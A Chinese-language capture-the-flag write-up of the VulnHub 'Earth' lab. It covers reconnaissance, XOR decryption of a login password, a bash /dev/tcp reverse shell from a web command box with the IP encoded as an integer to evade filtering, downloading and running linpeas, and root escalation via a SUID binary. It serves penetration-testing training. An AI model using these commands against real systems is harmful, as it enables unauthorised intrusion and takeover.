The_Planets_Earth靶场笔记(VulnHub)
环境说明:
kali地址:192.168.144.128
靶机地址:192.168.144.181
靶机网卡改为NAT模式。
靶机下载地址:
https://download.vulnhub.com/theplanets/Earth.ova
一.信息收集:
1.主机探测:
使用如下命令,进行主机探测,成功发现靶机
arp-scan -l
1.1.端口扫描:
对靶机进行端口扫描:
nmap -sV -A 192.168.144.181
发现开放了22,80,443端口。还有一条DNS解析记录,先访问web界面,看看有没有什么线索。
https:是个测试页面,http服务:访问的是400的状态码。有可能是靶机做了虚拟主机配置,先尝试一下将主机名映射到 IP 地址。
1.2.手动设置域名与 IP 地址的对应关系:
我这里做了两个操作:
1.在kali里面的/etc/hosts文件下添加了(方便使用kali的工具进行sao'mi)
vim /etc/hosts
192.168.144.181 terratest.earth.local earth.local
2.在我本机(windows)也添加了DNS映射关系。(方便在访问靶机的web界面)
cmd输入:C:\Windows\System32\drivers\etc\
找到hosts文件,进行添加命令(最后一行添加即可),记得保存
在刷新 DNS 解析缓存:
ipconfig /flushdns
再次访问http服务:两个域名都可以获取到内容
1.3.目录扫描:
先扫描http服务的目录:
dirb http://terratest.earth.local/
dirb http://earth.local/
发现有一个admi的目录,进行查看,log In一下
发现是个登录界面,但用户名和密码都不知道。
在扫描一下https服务的目录,发现在terratest.earth.local中扫到了一个robots的文件,earth.local没扫出来。
在robots文件的最后一行发现了一个testingnotes.* 使用了通配符,试一下是不是txt结尾的文件。当然也可以FUZZ一下。
找到了提示的信息:
翻译一下:
找到了用户名,还有XOR算法的字样,推测一下可能与http首页有关联。
随便尝试了一下,发现页面上有回显。(看着被16进制转换了一下)
我们尝试解一下自己的密文:
首先先16进制进行转换,在用已知的密钥demo,进行XOR的解密,发现得到了之前的明文。
这里的明文的长度是4,密文的长度是8,正好是两倍的关系。
工具:https://gchq.github.io/CyberChef/
在接着回到前面的提示,说testdata.txt是测试加密的,可能是密钥。
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
它的长度是:403
在分别和首页的三行数据进行对比:
那这么看也就只有最后一行数据,可以进行匹配了。
得到了解密后的值,发现有大量重复的内容:
//demo.txt是解密后的数据
cat demo.txt|grep -P "(\w+?)(?=\1)" -o //取出重复的数据
earthclimatechangebad4humans
这就有可能是登录的密码,在加上前面找到的用户名:terra,尝试登录一下。登录成功
发现是一个命令执行的框口
二.漏洞利用:
本来想着利用命令执行写一个马子,但是查看了一下网站目录,不具备写的权限
ping一下物理机看看是否能出网:
在kali上进行监听:(使用了tcpdump工具)
tcpdump -A -n icmp
发现禁止了远程连接,把IP地址进行转换数字的形式,再试一次:
在线IP地址转Int数字工具(ES JSON在线工具)
发现可以ping通了,那么直接用反弹shell的方式:
命令:
bash -i >& /dev/tcp/3232272512/6666 0>&1 #3232272512是我的IP地址
成功获取shell,升级到全交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo
fg
reset
tmux-256color
成功找到了flag。
三.权限提升:
上传一个脚本Linpeas,它是一个流行的脚本,用于在渗透测试中进行特权升级和系统枚举。
wget 192.168.144.128:8000/linpeas.sh ./linpeas.sh #靶机(在tmp路径)
python -m http.server #kali
上传成功,加上可执行权限
chmod +x linpeas.sh
运行
./linpeas.sh
发现了一个可疑脚本,还具有可执行的权限。
strings reset_root
可以看到这个可执行文件将root
的密码修改为Earth,
执行一下该文件,发现报错了。
上传到kali里面看一下,touch一下这三个文件,etc没有权限,所以最上面的缺失文件先不touch
在执行一下,成功更改密码为Earth,提权成功
在root目录下:成功获得了第二个flag